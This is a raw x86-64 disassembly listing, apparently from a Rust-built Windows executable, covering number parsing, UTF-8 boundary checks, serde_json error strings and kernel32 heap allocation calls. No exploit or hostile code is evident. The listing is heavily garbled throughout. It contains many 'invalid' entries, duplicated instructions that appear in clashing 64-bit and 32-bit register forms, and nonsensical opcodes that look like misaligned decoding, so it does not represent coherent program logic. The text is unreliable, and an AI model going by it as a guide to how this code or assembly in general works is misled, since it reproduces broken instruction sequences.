mov eax, eax
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx eax, word [rcx + rax*2]
mov word [r8 - 2], ax
pop rsi
ret
mov eax, ecx
cmp eax, 0x63
ja 0x14007378d
jmp 0x1400737ba
add al, 0x30
mov byte [r8 - 1], al
pop rsi
ret
mov dword [rsp + 0x38], ecx
mov r8, qword [rcx + 0x10]
mov qword [rsp + 0x20], 9
lea r9, [0x1400e74c6]
lea rcx, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x40], r8
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
call fcn.1400452f0
cmp qword [rsp + 0x50], 0
je 0x140073c0a
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xb0]
mov r14, r8
sub r14, rax
cmp r14, rdx
cmp esi, edx
jae 0x140073c11
sub eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
sub eax, dword [rcx]
add byte [rax], al
mov r13, qword [rsp + 0x98]
cmp qword [rsp + 0x88], 0xffffffffffffffff
mov r15, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x70
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x70
mov rcx, qword [rsp + 0x60]
mov r9, qword [rsp + 0x68]
mov qword [rsp + 0x48], r9
je 0x140073c5b
add dword [rax], eax
invalid
mov rbx, qword [rsp + 0x90]
mov ebx, dword [rsp + 0x90]
mov rbp, rax
neg rbp
mov r11, r13
sub r11, rax
movzx r9d, byte [r13 + r14]
bt r12, r9
int3
jb 0x140073b61
int3
nop dword [rax]
lea r9, [r14 + rbp]
cmp r9, rdx
jae 0x140073c11
mov r8, r14
sub r14, rax
mov byte [rdi + 0xf], 0xb6
or al, 3
mov byte [rdi + 0xf], 0xb6
or al, 3
bt r12, r9
jae 0x140073b40
mov rbx, rax
cmp rcx, rbx
mov r9, rbx
cmovb r9, rcx
leave
dec r9
lea rdi, [r14 + r13]
nop word cs:[rax + rax]
cmp r9, 0xffffffffffffffff
je 0x140073bb9
mov r10, r9
cmp r9, rax
cmp ecx, eax
cmp ecx, eax
jae 0x14007413b
lea r9, [r14 + r10]
cmp r9, rdx
jae 0x14007412a
movzx esi, byte [r15 + r10]
lea r9, [r10 - 1]
inc qword [rdx + 0x3a]
xor al, 0x17
inc qword [rdx + 0x3a]
xor al, 0x17
je 0x140073b80
sub r8, rcx
add r8, r10
mov rbx, rax
jmp 0x140073bf9
mov r9, rcx
nop dword [rax]
invalid
invalid
cmp r9, rbx
jae 0x140073d2d
invalid
cmp r9, rax
jae case.0x140046a5e.409
lea r10, [r14 + r9]
cmp r10, rdx
jae 0x14007414f
xor dword [rax + 5], 0
invalid
add byte [rdi + 0xf], al
mov dh, 0x14
cmovns ecx, dword [rbp + 0x3a460171]
adc al, 0xf
movzx r10d, byte [r15 + r9]
lea rsi, [r9 + 1]
cmp r10b, byte [rdi + r9]
mov r9, rsi
je 0x140073bc0
mov rbx, qword [rsp + 0x48]
sub r8, rbx
mov r14, r8
mov esi, eax
sub r14, rax
cmp r14, rdx
jb 0x140073b2d
jmp 0x140073c11
cmp byte [rsp + 0x6a], 0
je 0x140073c1e
mov bpl, 1
mov r13, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
insb byte [rdi], dx
and al, 0x40
jmp 0x1400741b3
movzx r8d, byte [rsp + 0x69]
mov r9, qword [rsp + 0x60]
test r9, r9
je 0x140073d37
invalid
add dword [rax], eax
invalid
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
cmp r9, rdx
jae case.0x1400271cf.569
invalid
cmp byte [rcx + r9], 0xc0
or eax, eax
jge 0x140073d50
jmp case.0x140032048.481
lea r10, [rcx - 1]
mov r11, rax
neg r11
mov rbp, r13
mov ebp, ebp
sub rbp, rax
invalid
invalid
movzx r9d, byte [r13 + r14]
bt r12, r9
jb 0x140073c9b
nop word [rax + rax]
lea r9, [r11 + r14]
cmp r9, rdx
sal dword [rbx - 0x78], 1
xor ecx, dword [rcx + 0x39]
sal dword [rbx - 0x78], 1
mov r8, r14
sub r14, rax
movzx r9d, byte [rbp + r8]
bt r12, r9
jae 0x140073c80
cmp r10, rax
jae 0x140073cd7
ret 0x3773
mov rdi, rcx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
iretd
nop word cs:[rax + rax]
sub rdi, 1
jb 0x140073ce0
lea r9, [rdi + r14]
cmp r9, rdx
jae 0x14007412a
and dword [rdi + 4], 0
invalid
and dword [rdi + 4], 0
add byte [rcx + 0xf], al
mov dh, 0x1c
invalid
movzx ebx, byte [r15 + rdi]
cmp bl, byte [r13 + r9]
je 0x140073cb0
sub r8, rcx
add r8, rdi
add eax, edi
add eax, edi
jmp 0x140073d19
test rcx, rcx
jne 0x14007413b
add byte [rax], al
lea r9, [r14 + r13]
mov rdi, rcx
nop word [rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
invalid
cmp rdi, rax
jae 0x140073d2d
lea rbx, [r14 + rdi]
lea ebx, [rsi + rdi]
cmp rbx, rdx
cmp ebx, edx
jae 0x14007414f
movzx ebx, byte [r15 + rdi]
lea rsi, [rdi + 1]
cmp bl, byte [r9 + rdi]
mov rdi, rsi
je 0x140073cf0
sub r8, qword [rsp + 0x48]
and al, 0x48
mov r14, r8
sub r14, rax
cmp r14, rdx
jb 0x140073c6b
invalid
invalid
invalid
invalid
invalid
invalid
jmp 0x140073c11
mov r13, qword [rsp + 0x40]
mov ebp, dword [rsp + 0x40]
jmp case.0x1400271cf.573
add dword [rax], 0
add byte [rbp - 0x7c], al
ror byte [rdi], 0x84
sar esi, 1
invalid
test r8b, r8b
je 0x140073c11
xor r14d, r14d
mov r13, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
jmp case.0x1400271cf.573
jne case.0x140032048.481
add al, byte [rax]
add byte [rdx + 0xf], al
mov dh, 0x44
or edi, edi
add byte [rax], al
movzx eax, byte [rcx + r9 - 1]
movzx eax, al
test al, al
mov r13, qword [rsp + 0x40]
jns 0x140073dae
movzx r10d, byte [rcx + r9 - 2]
or esi, edi
cmp r10b, 0xbf
jg 0x140073d8f
cli
mov edi, 0xf46217f
mov dh, 0x5c
movzx r11d, byte [rcx + r9 - 3]
or ebp, edi
cmp r11b, 0xbf
jg 0x140073d95
movzx edi, byte [rcx + r9 - 4]
or esp, edi
and edi, 7
shl edi, 6
invalid
and r11d, 0x3f
or r11d, edi
jmp 0x140073d99
invalid
or al, byte [rcx - 0x7d]
loop 0x140073db2
and r10d, 0x1f
jmp 0x140073da4
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
and edx, 0x3f
and edx, 0x3f
or r10d, r11d
or edx, ebx
shl r10d, 6
and eax, 0x3f
invalid
or eax, r10d
invalid
test r8b, r8b
je case.0x14002f3a6.495
invalid
test bl, bl
add dword [rax], eax
add byte [rbp - 0x77], cl
invalid
mov r14, r9
lea r8, [r14 + 9]
mov rcx, r8
sub rcx, r13
mov rdx, 0xfffffffffffffff7
ret 0xfff7
invalid
dec dword [rcx + rbp - 0xe]
mov rax, qword [rsp + 0x30]
lea r10, [rax + r14]
xor byte [rcx - 0x7d], cl
ret 0x4509
or dword [rbp + 0x31], eax
leave
ret 0xfff7
xor byte [rcx - 0x7d], cl
ret 0x4509
invalid
invalid
or dword [rbp + 0x31], eax
leave
mov r11, r8
mov rax, r8
mov eax, eax
mov eax, eax
mov rdi, r13
add rax, r9
je 0x140073e30
nop dword [rax]
add byte [rcx + rdi - 0x18], cl
cmp rax, r13
call 0xc04a596a
cmp al, 0xa
mov edi, 0x4c28e0f
jae 0x140073e10
cmp byte [r10 + r9], 0xbf
cmp byte [rdx + rcx], 0xbf
jle case.0x140050f92.347
add byte [rax], al
mov rdi, r13
sub rdi, r11
jmp 0x140073e30
add byte [rax], al
mov rsi, rcx
add rsi, r9
jne case.0x140050f92.347
add byte [rax], al
invalid
add byte [rax], al
lea rdi, [rdx + r13]
test rdi, rdi
jne 0x140073e35
sub cl, byte [rax - 0x7b]
push qword [rbp + 0x10]
jmp 0x140073e58
xor dword [rsi + 0xf], esp
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rdi, rdi
je 0x140073e58
movzx ebx, byte [r10 + r9]
movzx ebx, byte [rdx + rcx]
or al, byte [rax - 0x47f2f3d]
or dh, byte [rbx + 0x16]
add bl, 0xd0
cmp bl, 0xa
jae 0x140073e58
inc r11
inc r9
inc ecx
inc ecx
dec rdx
mov rax, r8
mov rdi, r13
add rax, r9
add eax, ecx
retf 0x894c
add eax, ecx
jne 0x140073df0
jmp 0x140073e30
lea r10, [r8 + r9]
mov rcx, qword [rsp + 0x30]
and al, 0x30
or byte [rax - 0x75], cl
and al, 0x30
add rcx, r10
add ecx, edx
mov rdx, r13
test rax, rax
je 0x140073e9c
invalid
mov rdx, r13
sub rdx, r10
jbe case.0x1400271cf.581
invalid
cmp byte [rcx], 0xbf
jg 0x140073e9c
cmp dword [rdi - 0x72b7dc81], edi
add eax, 0x73768
invalid
invalid
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
lea eax, [0x1400e75e8]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rdx, r13
mov r8, r10
mov r9, r13
call fcn.1400aa440
add eax, dword [rax]
add eax, dword [rax]
ud2
jne 0x140073e79
mov bpl, 1
cmp rdx, 8
jb 0x1400741b3
add eax, dword [rax]
invalid
add dword [rax - 0x7d], ecx
cli
or byte [rdi], cl
invalid
add eax, dword [rax]
add byte [rax - 0x46], cl
and byte [rbx + 0x6f], ah
insb byte [rdi], dx
jne 0x140073f1e
movabs rdx, 0x206e6d756c6f6320
cmp qword [rcx], rdx
outsb dx, byte [rsi]
and byte [rax + 0x39], cl
adc dword [rdi], ecx
jne 0x1400741b3
mov rdx, r13
jne 0x1400741b3
add byte [rax], al
mov rdx, r13
sub rdx, r9
add rdx, 0xffffffffffffffef
mov r11, qword [rsp + 0x30]
lea rbx, [r9 + r11]
sbb dword [rax - 0x7d], ecx
ret
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
sbb dword [rax - 0x7d], ecx
ret
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
adc dword [rbp - 0x73], ecx
pop rdx
or byte [rbp - 0x77], cl
test dword [rcx - 9], 0xdd894ddf
neg r15
mov r13, r11
mov r15, r14
neg r15
mov r13, r11
mov r12, r14
mov rdi, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
add r12, r9
je 0x140073f2d
int3
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r12, qword [rsp + 0x40]
jae 0x140073f20
invalid
sbb dword [rdx - 0x80], eax
cmp al, 0x33
xor edi, dword [rdi + 0x3e48e0f]
cmp byte [rbx + r14], 0xbf
jle case.0x1400510a8.254
in al, 3
add byte [rax], al
xor edi, dword [rdi + 0x3e48e0f]
in al, 3
add byte [rax], al
mov rdi, qword [rsp + 0x40]
sub rdi, r13
sub rdi, r13
jmp 0x140073f2d
add byte [rcx + 0x39], cl
cmp r14, rdx
jne case.0x1400510a8.254
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rcx - 0x73], cl
cmp al, 0x17
lea rdi, [r15 + rdx]
test rdi, rdi
je 0x140073f5c
movzx esi, byte [rbx + r14]
add sil, 0xd0
cmp sil, 0xa
or dh, byte [rbx + 0x1b]
or dh, byte [rbx + 0x1b]
inc r13
inc ebp
inc r9
dec rdx
inc rbx
mov r12, r14
mov esp, esi
mov esp, esi
mov rdi, qword [rsp + 0x40]
add r12, r9
jne 0x140073f00
jmp 0x140073f2d
add r9, r14
int1
mov r13, qword [rsp + 0x40]
cmp r9, r13
jb 0x1400741b3
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp + 0x39], cl
ret 0x820f
cmp r10, r8
jb 0x140074011
test r8, r8
je case.0x14002f3a6.499
invalid
add dword [rax], 0
invalid
test byte [rbx + 0x4d000000], al
cmp eax, ebp
cmp r8, r13
jae 0x140074000
mov rdx, qword [rsp + 0x30]
push rsp
and al, 0x30
cmp byte [rdx + r8], 0xc0
jge case.0x14002f3a6.499
jmp 0x140074011
cmp eax, 0x110000
add byte [rdi], cl
test byte [rsp + rdi*8 - 1], dh
dec dword [rcx - 0x39]
invalid
je 0x140073c11
mov r14, 0xffffffffffffffff
cmp eax, 0x80
jb 0x140073fc9
invalid
invalid
invalid
invalid
mov r14, 0xfffffffffffffffe
invalid
invalid
cmp eax, 0x800
jb 0x140073fc9
xor r14d, r14d
xor esi, esi
cmp eax, 0x10000
setb r14b
or r14, 0xfffffffffffffffc
or esi, 0xfffffffc
add byte [rcx], al
add byte [rcx + 0xf], al
xchg edx, eax
invalid
or esi, 0xfffffffc
add r14, r9
add esi, ecx
mov r13, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
je 0x14007405b
add byte [rcx + 0x39], cl
invalid
cmp r14, rdx
jae 0x140074063
cmp byte [rcx + r14], 0xbf
jg 0x140074065
invalid
cmp al, 0x31
mov edi, 0x894d7e7f
jle 0x140074035
mov ecx, esi
jle 0x140074035
mov r9, r14
mov ecx, esi
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
xor r8d, r8d
call fcn.1400aa440
ud2
jne 0x140074011
test rax, rax
je 0x140074031
invalid
sub cl, byte [rbp + 0x39]
invalid
cmp r13, r10
jbe 0x14007402f
cmp byte [rcx], 0xbf
jg 0x140074031
mov edi, 0x8d48207f
add eax, 0x73600
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, r13
mov r9, r10
call fcn.1400aa440
add eax, dword fs:[rax]
add eax, dword fs:[rax]
ud2
jne 0x140074011
sub r10, r8
je 0x1400741b3
jns 0x140074039
add byte [rax], al
test byte [rcx + 1], bh
jns 0x140074039
add byte [rax], al
add byte [rbx + rax + 0x44], cl
and al, 0x30
invalid
add r8, qword [rsp + 0x30]
xor byte [rcx + 0xf], al
mov dh, 0
movzx eax, byte [r8]
cmp eax, 0x2d
je 0x14007407c
cmp eax, 0x2b
jne 0x140074086
dec r10
je 0x1400741b3
pop rbp
add dword [rax], eax
invalid
pop rbp
add dword [rax], eax
add byte [rcx - 1], cl
inc r8
jmp 0x140074086
invalid
inc r8
jmp 0x140074086
invalid
sub eax, dword [rbp + 0x31]
imul cl
push rdi
std
invalid
xor r14d, r14d
jmp case.0x1400271cf.573
invalid
push qword [rbp - 0x7e]
jne 0x140073fe7
cmp byte [rcx + r14 - 1], 0
jns case.0x1400271cf.573
std
invalid
invalid
std
invalid
cmp byte [rcx + r14 - 2], 0xbf
cmp byte [rcx + rsi - 2], 0xbf
mov edi, 0xfffd3ee9
dec dword [rcx - 0x7d]
jmp case.0x1400271cf.573
cmp r10, 1
je 0x1400741b3
cli
add dword [rdi], ecx
test byte [0x189074088], ch
cmp edx, 0x11
cmp r10, 0x11
jae 0x1400740e7
pop rbx
xor eax, eax
xor r15d, r15d
movzx ecx, byte [r8 + rax]
movzx ecx, byte [rax + rax]
add ecx, 0xffffffd0
cmp ecx, 9
stc
or dword [rdi], ecx
xchg dword [rcx], edx
add dword [rax], eax
invalid
stc
or dword [rdi], ecx
xchg dword [rcx], edx
add dword [rax], eax
add byte [rbx - 0x73], cl
adc al, 0xbf
invalid
lea rdx, [r15 + r15*4]
mov edi, 0x8d4cc989
mov ecx, ecx
lea r15, [rcx + rdx*2]
cmp al, 0x51
inc rax
cmp r10, rax
ror byte [rcx + 0x39], 0xc2
jne 0x140074091
mov r8, r9
sub r8, r11
enter 0x294d, 0xffffffffffffffd8
jb case.0x140075b85.810
test r11, r11
je 0x140074188
fisttp dword [rdi]
test byte [rdi + 0x4d000000], bh
cmp r11, r13
cmp ebx, ebp
jae 0x140074182
mov rax, qword [rsp + 0x30]
cmp byte [rax + r11], 0xc0
jge 0x140074188
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add cl, ch
invalid
add al, byte [r8]
jmp case.0x140075b85.810
add byte [rcx], dh
leave
xor ecx, ecx
mov edi, 0xa
xor r15d, r15d
cmp r10, rcx
je 0x1400740b4
movzx ebx, byte [r8 + rcx]
mov rax, r15
mov eax, edi
or byte [rcx + rcx*4 - 8], cl
mul rdi
seto dl
nop
ret 0xc383
invalid
cmp ebx, 9
nop
ret 0xc383
ja 0x1400741b3
test dl, dl
jne 0x1400741b3
add byte [rax], al
add byte [rax], al
mov r15, rax
mov eax, ebx
inc rcx
inc ecx
inc ecx
add r15, rax
jae 0x1400740f1
jmp 0x1400741b3
mov dword [rax], eax
add byte [rax], al
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
call fcn.1400a9d70
ud2
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r10
mov rdx, rax
call fcn.1400a9d70
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rcx + 1]
invalid
add r14, rcx
cmp rdx, r14
cmova r14, rdx
cmova esi, edx
cmova esi, edx
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r14
call fcn.1400a9d70
ud2
invalid
cmp rcx, rax
cmovbe rcx, rax
enter 0xffffffffffff8d4c, 5
test al, 0x25
invalid
invalid
enter 0xffffffffffff8d4c, 5
test al, 0x25
invalid
lea eax, [0x1400e6720]
mov rdx, rax
call fcn.1400a9d70
ud2
ret 0xf0e8
jne case.0x140075b85.810
add byte [rax], al
test r12, r12
test esp, esp
je case.0x1400689bc.406
or dword [rbp + 0x39], ecx
jmp 0x14199c6a3
xchg edx, eax
invalid
cmp r9, r13
cmp ecx, ebp
jne case.0x140075b85.810
xchg edx, eax
add dword [rax], eax
add byte [rbx + rax + 0x5c], cl
add r11, qword [rsp + 0x30]
add r11, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov rdx, r11
call fcn.140046440
and bh, ch
invalid
invalid
cmp byte [rsp + 0x50], 0
je 0x140074284
test cl, dl
add byte [rax], al
invalid
and al, 0x50
add byte [rdi], cl
test cl, dl
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x38
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + 8], r13
mov rsi, qword [rsp + 0x30]
je 0x1400741e4
xor byte [rsi + 0x26], dh
or byte [rax - 0x75], cl
je 0x1400741e4
xor byte [rsi + 0x26], dh
mov rcx, qword [0x1400f91f8]
push rax
or byte [rax], al
xor edx, edx
mov r8, rsi
invalid
test r13, r13
je 0x140074217
invalid
mov r9, r13
mov ecx, ebp
call qword [sym.imp.kernel32.dll_HeapReAlloc]
rol dword [rbx], 0
add byte [rax - 0x77], cl
invalid
mov rsi, rax
mov esi, eax
test rax, rax
je 0x140074319
add dword [rax], eax
invalid
ror byte [rdi], 0x84
xor byte [rcx], al
add dword [rax], eax
invalid
test byte [rax], dh
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov dh, 5
rcl byte [rax + 8]
add byte [rax - 0x75], cl
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne 0x140074235
call qword [sym.imp.kernel32.dll_GetProcessHeap]
out dx, al
rol dword [rbx], 0
test rax, rax
je 0x1400742e5
test dl, bl
add byte [rax], al
invalid
test dl, bl
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
jrcxz 0x140074262
invalid
mov rcx, rax
mov qword [0x1400f91f8], rax
or byte [r8], r8b
or byte [r8], r8b
or byte [rax], al
jmp 0x140074235
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
rol dword [rbx], 0
add byte [rsi + 1], bh
mov esi, 1
add dword [rax], eax
add byte [rax], al
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
or byte [r8], r8b
or byte [r8], r8b
test rcx, rcx
leave
je 0x1400741fc
mov r8d, 0x28
mov eax, 0x28
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x3c1b5
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400742e5
xor ecx, ecx
test bpl, bpl
cmovne r12, rcx
cmovne esp, ecx
cmovne esp, ecx
cmovne r15, rcx
cmovne edi, ecx
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 8], rsi
jo 0x14007426c
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r15
js 0x140074284
js 0x140074284
mov qword [rax + 0x20], r12
add rsp, 0xb8
invalid
mov eax, 0x5b000000
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
invalid
mov r12, qword [rsp + 0x58]
and al, 0x58
cmp r13, r14
cmp ebp, esi
mov rcx, qword [rsp + 0x38]
and al, 0x38
jae 0x14007429a
xor ebp, ebp
jmp 0x1400741b8
test r14, r14
je 0x1400742b4
jbe 0x1400742b4
mov rax, qword [rsp + 0x30]
and al, 0x30
cmp byte [rax + r14], 0xbf
cmp byte [rax + rsi], 0xbf
jle 0x140074346
mov qword [rcx + 0x10], r14
xor ebp, ebp
mov r13, r14
jmp 0x1400741b8
idiv dh
invalid
invalid
idiv dh
invalid
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rcx
xor eax, dword [rdi]
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov r8, rax
ror byte [rcx - 0x77], 0xd1
ror byte [rcx - 0x77], 0xd1
call fcn.1400aa440
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x28
call fcn.1400a9bd0
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
xor eax, dword [rdi]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov r8, r12
mov r9, rdx
call fcn.1400aa440
ud2
add byte [rdi], cl
or edi, dword [rcx + 1]
add dword [rax], eax
add byte [rax], al
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, r13
call fcn.1400a9bd0
ud2
invalid
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rdx, r13
mov r8, r11
call fcn.1400aa440
invalid
add eax, dword [rax]
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_string.rs
or eax, 0x7427b
invalid
lea r8, [0x1400e8648]
lea eax, [0x1400e8648]
invalid
mov edx, 0x30
call fcn.1400a9e70
ud2
rol byte [rax], 0
add byte [rax - 0x77], cl
mov rsi, rdx
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov edi, dword [rcx]
mov qword [rsp + 0x50], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
and al, 0x58
and al, 0x58
mov qword [rsp + 0xb0], 0x20
mov dword [rsp + 0xb0], 0x20
and al, 0xb0
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
mov byte [rsp + 0xb8], 3
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx], al
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x90], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rdx*4], ah
and al, 0x90
mov dword [rsp + 0x90], 0
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa0], rax
add byte [rax], al
lea rax, [0x1400e66a0]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
and al, byte [rdi]
add byte [rax - 0x77], cl
mov dword [rsp + 0xa8], eax
lea rbx, [rsp + 0x80]
mov rcx, rdi
mov dword [rsp + 0xa8], eax
lea rbx, [rsp + 0x80]
mov rcx, rdi
mov rdx, rbx
call 0x140074590
mov ah, 1
add byte [rax], al
invalid
mov ah, 1
add byte [rax], al
test al, al
jne 0x1400744ac
add byte [rdi], cl
adc byte [rsp + 0x50], al
push rax
movups xmm0, xmmword [rsp + 0x50]
push rax
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x60]
invalid
invalid
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
lea rax, [rdi + 0x18]
add rdi, 0x20
lea rcx, [rsp + 0x30]
and al, 0x30
sbb byte [r8 - 0x7d], r9b
invalid
and al, 0x30
mov qword [rsp + 0x80], rcx
lea rcx, [0x140040220]
lea ecx, [0x140040220]
lea ecx, [0x140040220]
cld
dec dword [rax - 0x77]
mov word [rax + rcx*4], fs
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rax
lea rax, [fcn.1400415d0]
sar esp, 1
invalid
mov qword [rsp + 0x88], rcx
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rax
lea rax, [fcn.1400415d0]
sar esp, 1
invalid
